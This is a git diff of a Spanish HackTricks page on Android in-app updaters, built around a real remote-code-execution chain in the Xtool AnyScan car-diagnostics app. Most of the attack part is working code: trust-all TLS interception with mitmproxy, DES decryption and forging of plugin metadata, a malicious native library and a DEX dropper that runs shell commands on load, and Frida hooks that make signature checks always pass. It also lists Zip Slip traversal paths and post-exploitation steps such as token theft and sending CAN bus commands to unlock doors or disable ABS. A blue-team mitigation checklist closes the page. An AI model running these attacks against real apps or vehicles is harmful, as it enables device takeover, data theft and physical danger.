mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap
This commit is contained in:
parent
b290bbd166
commit
5ab1560c0b
@ -1,16 +1,49 @@
|
|||||||
# Mecanismos de Actualización Insegura en la Aplicación – Ejecución Remota de Código a través de Plugins Maliciosos
|
# Mecanismos de actualización in-app inseguros – Remote Code Execution via Malicious Plugins
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Muchas aplicaciones de Android implementan sus **propios canales de actualización de “plugins” o “características dinámicas”** en lugar de utilizar Google Play Store. Cuando la implementación es insegura, un atacante capaz de interceptar el tráfico puede suministrar **código nativo arbitrario que se cargará dentro del proceso de la aplicación**, lo que lleva a una Ejecución Remota de Código (RCE) completa en el dispositivo – y en algunos casos en cualquier dispositivo externo controlado por la aplicación (coches, IoT, dispositivos médicos…).
|
Muchas aplicaciones Android implementan sus propios canales de actualización “plugin” o “dynamic feature” en lugar de usar Google Play Store. Cuando la implementación es insegura, un atacante capaz de interceptar o manipular el tráfico de actualización puede suministrar código nativo o Dalvik/ART arbitrario que se cargará dentro del proceso de la app, llevando a Remote Code Execution (RCE) total en el dispositivo — y en algunos casos en cualquier dispositivo externo controlado por la app (cars, IoT, medical devices …).
|
||||||
|
|
||||||
Esta página resume una cadena de vulnerabilidad del mundo real encontrada en la aplicación de diagnóstico automotriz Xtool **AnyScan** (v4.40.11 → 4.40.40) y generaliza la técnica para que puedas auditar otras aplicaciones de Android y aprovechar la mala configuración durante un compromiso de red team.
|
Esta página resume una cadena de vulnerabilidades real encontrada en la app Xtool AnyScan automotive-diagnostics (v4.40.11 → 4.40.40) y generaliza la técnica para que puedas auditar otras apps Android y weaponise la mala configuración durante un red-team engagement.
|
||||||
|
|
||||||
---
|
---
|
||||||
## 1. Identificación de un TrustManager TLS Inseguro
|
## 0. Triado rápido: ¿la app tiene un actualizador in‑app?
|
||||||
|
|
||||||
1. Descompón el APK con jadx / apktool y localiza la pila de red (OkHttp, HttpUrlConnection, Retrofit…).
|
Pistas estáticas para buscar en JADX/apktool:
|
||||||
2. Busca un **`TrustManager`** o `HostnameVerifier` personalizado que confíe ciegamente en cada certificado:
|
- Cadenas: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
|
||||||
|
- Endpoints de red como `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
|
||||||
|
- Helpers criptográficos cerca de rutas de actualización (DES/AES/RC4; Base64; JSON/XML packs).
|
||||||
|
- Cargadores dinámicos: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
|
||||||
|
- Rutas de unzip que escriben en almacenamiento interno de la app o externo, y luego cargan inmediatamente un `.so`/DEX.
|
||||||
|
|
||||||
|
Hooks en tiempo de ejecución para confirmar:
|
||||||
|
```js
|
||||||
|
// Frida: log native and dex loading
|
||||||
|
Java.perform(() => {
|
||||||
|
const Runtime = Java.use('java.lang.Runtime');
|
||||||
|
const SystemJ = Java.use('java.lang.System');
|
||||||
|
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
|
||||||
|
|
||||||
|
SystemJ.load.overload('java.lang.String').implementation = function(p) {
|
||||||
|
console.log('[System.load] ' + p); return this.load(p);
|
||||||
|
};
|
||||||
|
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
|
||||||
|
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
|
||||||
|
};
|
||||||
|
Runtime.load.overload('java.lang.String').implementation = function(p){
|
||||||
|
console.log('[Runtime.load] ' + p); return this.load(p);
|
||||||
|
};
|
||||||
|
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
|
||||||
|
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
|
||||||
|
return this.$init(dexPath, optDir, libPath, parent);
|
||||||
|
};
|
||||||
|
});
|
||||||
|
```
|
||||||
|
---
|
||||||
|
## 1. Identificando un TrustManager TLS inseguro
|
||||||
|
|
||||||
|
1. Descompila el APK con jadx / apktool y localiza la pila de red (OkHttp, HttpUrlConnection, Retrofit…).
|
||||||
|
2. Busca un `TrustManager` o `HostnameVerifier` personalizado que confíe ciegamente en cualquier certificado:
|
||||||
```java
|
```java
|
||||||
public static TrustManager[] buildTrustManagers() {
|
public static TrustManager[] buildTrustManagers() {
|
||||||
return new TrustManager[]{
|
return new TrustManager[]{
|
||||||
@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
3. Si está presente, la aplicación aceptará **cualquier certificado TLS** → puedes ejecutar un **proxy MITM** transparente con un certificado autofirmado:
|
3. Si está presente, la aplicación aceptará cualquier certificado TLS → puedes ejecutar un proxy MITM transparente con un self-signed cert:
|
||||||
```bash
|
```bash
|
||||||
mitmproxy -p 8080 -s addon.py # see §4
|
mitmproxy -p 8080 -s addon.py # see §4
|
||||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||||
```
|
```
|
||||||
## 2. Ingeniería Inversa de los Metadatos de Actualización
|
Si TLS pinning está aplicado en lugar de la lógica insegura trust-all, ver:
|
||||||
|
|
||||||
En el caso de AnyScan, cada lanzamiento de la aplicación activa un GET HTTPS a:
|
{{#ref}}
|
||||||
|
android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
make-apk-accept-ca-certificate.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
---
|
||||||
|
## 2. Ingeniería inversa de los metadatos de actualización
|
||||||
|
|
||||||
|
En el caso de AnyScan, cada lanzamiento de la app desencadena un HTTPS GET a:
|
||||||
```
|
```
|
||||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||||
```
|
```
|
||||||
El cuerpo de la respuesta es un **documento XML** cuyas nodos `<FileData>` contienen **JSON encriptado con DES-ECB y codificado en Base64** que describe cada plugin disponible.
|
El cuerpo de la respuesta es un documento XML cuyos nodos `<FileData>` contienen JSON cifrado con DES-ECB y codificado en Base64 que describe cada plugin disponible.
|
||||||
|
|
||||||
Pasos típicos de búsqueda:
|
Pasos típicos:
|
||||||
1. Localizar la rutina criptográfica (por ejemplo, `RemoteServiceProxy`) y recuperar:
|
1. Localiza la rutina criptográfica (p. ej. `RemoteServiceProxy`) y recupera:
|
||||||
* algoritmo (DES / AES / RC4 …)
|
- algoritmo (DES / AES / RC4 …)
|
||||||
* modo de operación (ECB / CBC / GCM …)
|
- modo de operación (ECB / CBC / GCM …)
|
||||||
* clave / IV codificados de forma fija (a menudo claves DES de 56 bits o claves AES de 128 bits en constantes)
|
- clave/IV codificados en el código (comúnmente constantes DES de 56‑bit o AES de 128‑bit)
|
||||||
2. Re-implementar la función en Python para desencriptar / encriptar los metadatos:
|
2. Re-implementa la función en Python para descifrar/cifrar los metadatos:
|
||||||
```python
|
```python
|
||||||
from Crypto.Cipher import DES
|
from Crypto.Cipher import DES
|
||||||
from base64 import b64decode, b64encode
|
from base64 import b64decode, b64encode
|
||||||
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
|
|||||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||||||
```
|
```
|
||||||
|
Notas observadas en el campo (2023–2025):
|
||||||
|
- Metadata suele ser JSON-within-XML o protobuf; los cifrados débiles y las claves estáticas son comunes.
|
||||||
|
- Muchos updaters aceptan HTTP sin TLS para la descarga del payload, incluso si metadata se entrega por HTTPS.
|
||||||
|
- Los Plugins con frecuencia descomprimen en app-internal storage; algunos todavía usan external storage o el legacy `requestLegacyExternalStorage`, lo que permite cross-app tampering.
|
||||||
|
|
||||||
|
---
|
||||||
## 3. Crear un Plugin Malicioso
|
## 3. Crear un Plugin Malicioso
|
||||||
|
|
||||||
1. Elige cualquier plugin legítimo en formato ZIP y reemplaza la biblioteca nativa con tu payload:
|
### 3.1 Ruta de la biblioteca nativa (dlopen/System.load[Library])
|
||||||
|
|
||||||
|
1. Elige cualquier plugin ZIP legítimo y reemplaza la biblioteca nativa con tu payload:
|
||||||
```c
|
```c
|
||||||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||||
__attribute__((constructor))
|
__attribute__((constructor))
|
||||||
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
|
|||||||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||||
```
|
```
|
||||||
2. Actualiza los metadatos JSON para que `"FileName" : "PWNED.zip"` y `"DownloadURL"` apunte a tu servidor HTTP.
|
2. Actualiza los metadatos JSON para que `"FileName" : "PWNED.zip"` y `"DownloadURL"` apunten a tu servidor HTTP.
|
||||||
3. Encripta con DES + codifica en Base64 el JSON modificado y cópialo de nuevo dentro del XML interceptado.
|
3. Re-encripta + codifica en Base64 el JSON modificado y cópialo de nuevo dentro del XML interceptado.
|
||||||
|
|
||||||
## 4. Entrega la Carga Útil con mitmproxy
|
### 3.2 Ruta de plugin basada en Dex (DexClassLoader)
|
||||||
|
|
||||||
`addon.py` ejemplo que *silenciosamente* intercambia los metadatos originales:
|
Algunas apps descargan un JAR/APK y cargan código vía `DexClassLoader`. Construye un DEX malicioso que se ejecute al cargarse:
|
||||||
|
```java
|
||||||
|
// src/pwn/Dropper.java
|
||||||
|
package pwn;
|
||||||
|
public class Dropper {
|
||||||
|
static { // runs on class load
|
||||||
|
try {
|
||||||
|
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
|
||||||
|
} catch (Throwable t) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Compile and package to a DEX jar
|
||||||
|
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
|
||||||
|
jar cf dropper.jar -C out/ .
|
||||||
|
d8 --output outdex/ dropper.jar
|
||||||
|
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
|
||||||
|
```
|
||||||
|
Si el objetivo llama a `Class.forName("pwn.Dropper")` tu inicializador estático se ejecuta; de lo contrario, enumera reflectivamente las clases cargadas con Frida y llama a un método exportado.
|
||||||
|
|
||||||
|
---
|
||||||
|
## 4. Entregar el Payload con mitmproxy
|
||||||
|
|
||||||
|
`addon.py` ejemplo que intercambia silenciosamente los metadatos originales:
|
||||||
```python
|
```python
|
||||||
from mitmproxy import http
|
from mitmproxy import http
|
||||||
MOD_XML = open("fake_metadata.xml", "rb").read()
|
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||||||
@ -89,36 +166,69 @@ MOD_XML,
|
|||||||
{"Content-Type": "text/xml"}
|
{"Content-Type": "text/xml"}
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
Ejecuta un servidor web simple para alojar el ZIP malicioso:
|
Ejecute un servidor web simple para alojar el ZIP/JAR malicioso:
|
||||||
```bash
|
```bash
|
||||||
python3 -m http.server 8000 --directory ./payloads
|
python3 -m http.server 8000 --directory ./payloads
|
||||||
```
|
```
|
||||||
Cuando la víctima lanza la aplicación, esta:
|
Cuando la víctima lanza la app, esta:
|
||||||
* obtiene nuestro XML forjado a través del canal MITM;
|
- obtendrá nuestro XML forjado a través del canal MITM;
|
||||||
* lo descifra y analiza con la clave DES codificada;
|
- lo descifrará y analizará con la crypto hard-coded;
|
||||||
* descarga `PWNED.zip` → descomprime dentro del almacenamiento privado;
|
- descargará `PWNED.zip` o `plugin.jar` → lo descomprimirá dentro del almacenamiento privado;
|
||||||
* `dlopen()` la *libscan_x64.so* incluida, ejecutando instantáneamente nuestro código **con los permisos de la aplicación** (cámara, GPS, Bluetooth, sistema de archivos, …).
|
- cargará la `.so` incluida o DEX, ejecutando instantáneamente nuestro código con los permisos de la app (cámara, GPS, Bluetooth, sistema de archivos, …).
|
||||||
|
|
||||||
Debido a que el plugin se almacena en caché en el disco, el backdoor **persiste a través de reinicios** y se ejecuta cada vez que el usuario selecciona la función relacionada.
|
Porque el plugin está cached on disk la backdoor persiste a través de reinicios y se ejecuta cada vez que el usuario selecciona la función relacionada.
|
||||||
|
|
||||||
## 5. Ideas de Post-Explotación
|
|
||||||
|
|
||||||
* Robar cookies de sesión, tokens de OAuth o JWTs almacenados por la aplicación.
|
|
||||||
* Lanzar un APK de segunda etapa e instalarlo silenciosamente a través de `pm install` (la aplicación ya tiene `REQUEST_INSTALL_PACKAGES`).
|
|
||||||
* Abusar de cualquier hardware conectado: en el escenario de AnyScan, puedes enviar **comandos OBD-II / CAN bus** arbitrarios (desbloquear puertas, desactivar ABS, etc.).
|
|
||||||
|
|
||||||
---
|
---
|
||||||
### Lista de Verificación de Detección y Mitigación (equipo azul)
|
## 4.1 Eludir comprobaciones de firma/hash (cuando estén presentes)
|
||||||
|
|
||||||
* NUNCA envíes una versión de producción con un TrustManager/HostnameVerifier personalizado que desactive la validación de certificados.
|
Si el updater valida firmas o hashes, hookea la verificación para que siempre acepte contenido del atacante:
|
||||||
* No descargues código ejecutable desde fuera de Google Play. Si *debes*, firma cada plugin con la misma clave **apkSigning v2** y verifica la firma antes de cargar.
|
```js
|
||||||
* Reemplaza criptografía débil/codificada con **AES-GCM** y una clave rotativa del lado del servidor.
|
// Frida – make java.security.Signature.verify() return true
|
||||||
* Valida la integridad de los archivos descargados (firma o al menos SHA-256).
|
Java.perform(() => {
|
||||||
|
const Sig = Java.use('java.security.Signature');
|
||||||
|
Sig.verify.overload('[B').implementation = function(a) { return true; };
|
||||||
|
});
|
||||||
|
|
||||||
|
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
|
||||||
|
Java.perform(() => {
|
||||||
|
const Arrays = Java.use('java.util.Arrays');
|
||||||
|
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
|
||||||
|
});
|
||||||
|
```
|
||||||
|
También considere simular métodos del proveedor como `PluginVerifier.verifySignature()`, `checkHash()`, o atajar la lógica de control de actualizaciones en Java o JNI.
|
||||||
|
|
||||||
---
|
---
|
||||||
## Referencias
|
## 5. Otras superficies de ataque en los actualizadores (2023–2025)
|
||||||
|
|
||||||
|
- Zip Slip path traversal while extracting plugins: entradas maliciosas como `../../../../data/data/<pkg>/files/target` sobrescriben archivos arbitrarios. Siempre sanee las rutas de las entradas y use allow‑lists.
|
||||||
|
- External storage staging: si la app escribe el archivo en almacenamiento externo antes de cargarlo, cualquier otra app puede manipularlo. Scoped Storage o almacenamiento interno de la app evita esto.
|
||||||
|
- Cleartext downloads: metadata over HTTPS but payload over HTTP → intercambio MITM sencillo.
|
||||||
|
- Incomplete signature checks: comparar solo el hash de un único archivo, no de todo el archive; no vincular la firma a la clave del desarrollador; aceptar cualquier clave RSA presente en el archivo.
|
||||||
|
- React Native / Web-based OTA content: si los bridges nativos ejecutan JS desde OTA sin firma estricta, es posible la ejecución arbitraria de código en el contexto de la app (p. ej., insecure CodePush-like flows). Asegure detached update signing y una verificación estricta.
|
||||||
|
|
||||||
|
---
|
||||||
|
## 6. Ideas de post-explotación
|
||||||
|
|
||||||
|
- Robar cookies de sesión, tokens OAuth, o JWTs almacenados por la app.
|
||||||
|
- Dejar un APK de segunda etapa e instalarlo silenciosamente vía `pm install` si es posible (algunas apps ya declaran `REQUEST_INSTALL_PACKAGES`).
|
||||||
|
- Abusar de cualquier hardware conectado – en el escenario AnyScan puedes enviar comandos arbitrarios OBD‑II / CAN bus (abrir puertas, desactivar ABS, etc.).
|
||||||
|
|
||||||
|
---
|
||||||
|
### Detection & Mitigation Checklist (blue team)
|
||||||
|
|
||||||
|
- Evite la carga dinámica de código y las actualizaciones fuera de la tienda. Prefiera actualizaciones mediadas por Play. Si los plugins dinámicos son un requisito estricto, diseñe los bundles como data‑only y mantenga el código ejecutable en el APK base.
|
||||||
|
- Enforce TLS properly: no usar custom trust‑all managers; despliegue pinning donde sea factible y una configuración de seguridad de red endurecida que prohíba tráfico en texto claro.
|
||||||
|
- No descargue código ejecutable fuera de Google Play. Si debe hacerlo, use detached update signing (p. ej., Ed25519/RSA) con una clave en poder del desarrollador y verifique antes de cargar. Vincule metadata y payload (longitud, hash, versión) y falle cerrado.
|
||||||
|
- Use modern crypto (AES‑GCM) con nonces por mensaje para metadata; elimine claves hard‑coded de los clientes.
|
||||||
|
- Valide la integridad de los archivos descargados: verifique una firma que cubra cada archivo, o como mínimo verifique un manifiesto de hashes SHA‑256. Rechace archivos extra/desconocidos.
|
||||||
|
- Almacene las descargas en app‑internal storage (o scoped storage en Android 10+) y use permisos de archivo que eviten la manipulación entre apps.
|
||||||
|
- Defienda contra Zip Slip: normalice y valide las rutas de las entradas zip antes de la extracción; rechace rutas absolutas o segmentos `..`.
|
||||||
|
- Considere Play “Code Transparency” para permitirle a usted y a los usuarios verificar que el código DEX/nativo enviado coincide con lo que usted compiló (complementa pero no reemplaza la firma del APK).
|
||||||
|
|
||||||
|
---
|
||||||
|
## References
|
||||||
|
|
||||||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||||
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user